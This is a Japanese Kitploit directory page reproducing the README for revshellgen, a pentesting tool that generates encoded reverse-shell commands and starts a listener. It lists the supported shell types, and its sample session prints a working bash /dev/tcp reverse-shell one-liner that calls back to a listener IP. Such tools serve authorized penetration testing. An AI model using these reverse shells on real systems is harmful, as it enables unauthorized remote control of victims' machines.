Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
revshellgen — Python 3で書かれたリバースシェルジェネレータ。 | Kitploit
ツール/GitHubGitHub/t0thkr1s/revshellgen
ペイロード生成エクスプロイトペネトレーションテストコマンド&コントロールレッドチーミングシェルコード生成ペイロード開発
GitHubt0thkr1s/revshellgen

revshellgen

Python 3で書かれたリバースシェルジェネレータ。

リポジトリを見る
565941年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

🚀 RevShellGen

リバースシェルジェネレーター

Python License Stars

CI Tests PyPI

リバースシェル生成をスタイリッシュに自動化
手間をかけずにリバースシェルを生成、エンコード、待ち受け


特徴 • インストール • 使用方法 • 対応シェル • コントリビュート

📖 概要

RevShellGenは、リバースシェルコマンドの生成プロセスを簡素化する強力なコマンドラインツールです。構文の調べ直し、手動エンコード、設定の悩みはもう不要です。このツールは直感的なインターフェースで全てを処理します。

🎯 主な機能

  • 🖥️ 対話型CLI - ユーザーフレンドリーなメニュー駆動インターフェース
  • 🔄 自動エンコード - URLエンコードとBase64エンコード対応
  • 📋 クリップボード連携 - 生成コマンドの自動コピー
  • 🌐 ネットワーク検出 - IPアドレスの自動検出
  • 🎨 複数シェルタイプ - Bash、Python、Netcat、PowerShellなど
  • 🔊 内蔵リスナー - 自動netcat/ncatリスナー設定
  • 🍎 クロスプラットフォーム - LinuxとmacOSの完全サポート
  • 📚 TTYアップグレードガイド - シェルアップグレードの包括的な手順

🚀 クイックスタート

オプション1: PyPIからインストール

root@kitploit:~
# PyPIからインストール
pip install revshellgen

# ツールを実行
revshellgen

オプション2: ソースからインストール

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# 依存関係をインストール
pip3 install -r requirements.txt

# ツールを実行
python3 revshellgen.py  # または python3 revshellgen_cli.py

📦 インストール

前提条件

  • Python 3.6以上
  • pip(Pythonパッケージマネージャー)

依存関係

RevShellGenには以下のPythonパッケージが必要です:

インストール方法

方法1: requirements.txtを使用(最も簡単)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
方法2: setup.pyを使用(従来の方法)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
方法3: 仮想環境(隔離におすすめ)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # Windowsの場合: venv\Scripts\activate
pip3 install -r requirements.txt
方法4: 手動インストール
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
方法5: ユーザーインストール(sudo不要)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

プラットフォーム別の注意点

🐧 Linux

root@kitploit:~
# python3-devのインストールが必要な場合があります
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

root@kitploit:~
# より優れたリスナーサポートのためにncatをインストール
brew install nmap  # ncatが含まれます

💻 使用方法

基本ワークフロー

  1. ツールを起動

    root@kitploit:~
    python3 revshellgen.py
    
  2. リバースシェルを設定

    • IPアドレスを選択(自動検出)
    • ポート番号を選択(例:4444、9001)
    • シェルタイプを選択(bash、pythonなど)
    • エンコード方式を選択(なし、URL、Base64)
  3. 生成されたコマンドが自動的にクリップボードにコピーされます

  4. リスナーを起動(自動)

  5. ターゲットマシンでコマンドを実行

📸 スクリーンショット


シェル選択

コマンド生成

🐚 対応シェル

🔧 高度な機能

TTYシェルアップグレード

RevShellGenには包括的なTTYアップグレード手順が含まれています。シェルを取得した後、ツールは以下を提供します:

  • PTY生成方法のステップバイステップ
  • ターミナルサイズの検出と設定
  • さまざまな環境に対応した複数のアップグレード手法
  • 一般的な問題のトラブルシューティングのヒント
  • クイックリファレンスコマンド

エンコードオプション

  • なし - 生のコマンド出力
  • URLエンコード - Webアプリケーションの悪用向け
  • Base64 - コマンドの難読化向け

リスナーオプション

ツールは適切なnetcatのバリアントを自動検出して使用します:

  • ncat(推奨、nmapパッケージ由来)
  • nc(従来のnetcat)
  • macOS固有のnc構文サポート

📝 セッション例

root@kitploit:~
$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ IP選択 ] ----------
[ x ] 192.168.1.10 on eth0
[   ] 10.0.0.5 on tun0
[   ] 手動入力

---------- [ ポート指定 ] ----------
[ # ] ポート番号を入力 : 4444

---------- [ コマンド選択 ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ リバースシェルコマンド ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] コマンドをクリップボードにコピーしました!
[ + ] ポート4444でリスナーを起動中...

🤝 コントリビュート

コントリビューションを歓迎します!プルリクエストを送信してください。大きな変更を加える場合は、まずIssueを開いて変更内容について議論してください。

開発環境のセットアップ

root@kitploit:~
# フォークをクローン
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen

# ブランチを作成
git checkout -b feature/your-feature-name

# 変更を加えてコミット
git add .
git commit -m "Add your feature"

# フォークにプッシュ
git push origin feature/your-feature-name

# プルリクエストを作成

🐛 問題とサポート

バグを見つけたり、提案がありますか?GitHubでIssueを開いてください。

📜 ライセンス

このプロジェクトはGNU General Public License v3.0の下でライセンスされています。詳細はLICENSEファイルを参照してください。

⚠️ 免責事項

このツールは、許可された侵入テストおよび教育目的のみを対象としています。

所有していない、または明示的な許可を得ていないシステムに対してこのツールを使用することは違法です。エンドユーザーは、該当するすべての地域、州、および連邦法を遵守する責任を負います。開発者は一切の責任を負わず、このプログラムの誤用や損害についても責任を負いません。

🙏 謝辞

  • PayloadsAllTheThings - リバースシェルリファレンス
  • ropnop - TTYアップグレード手法
  • PentestMonkey - リバースシェルチートシート
  • このツールのすべてのコントリビューターとユーザー

t0thkr1sが❤️を込めて作成
このリポジトリが役立つと思ったら⭐を付けてください!
ツールをダウンロード
パッケージ目的
pyperclipクリップボード操作
coloramaターミナルカラー
readchar対話型キー入力
netifacesネットワークインターフェース検出
シェルタイプ説明プラットフォーム
BashBash TCPリバースシェルLinux/Unix
PythonPythonベースのリバースシェルクロスプラットフォーム
Netcat従来のncリバースシェルLinux/Unix
Netcat mkfifo名前付きパイプを使用したNetcatLinux/Unix
PerlPerlベースのリバースシェルクロスプラットフォーム
PHPPHPリバースシェルクロスプラットフォーム
RubyRubyベースのリバースシェルクロスプラットフォーム
JavaJavaリバースシェルクロスプラットフォーム
AWKAWKリバースシェルLinux/Unix
SocatSocatリバースシェルLinux/Unix
Socat TTY完全なTTYを備えたSocatLinux/Unix
TelnetTelnetリバースシェルLinux/Unix
PowerShellWindows PowerShellWindows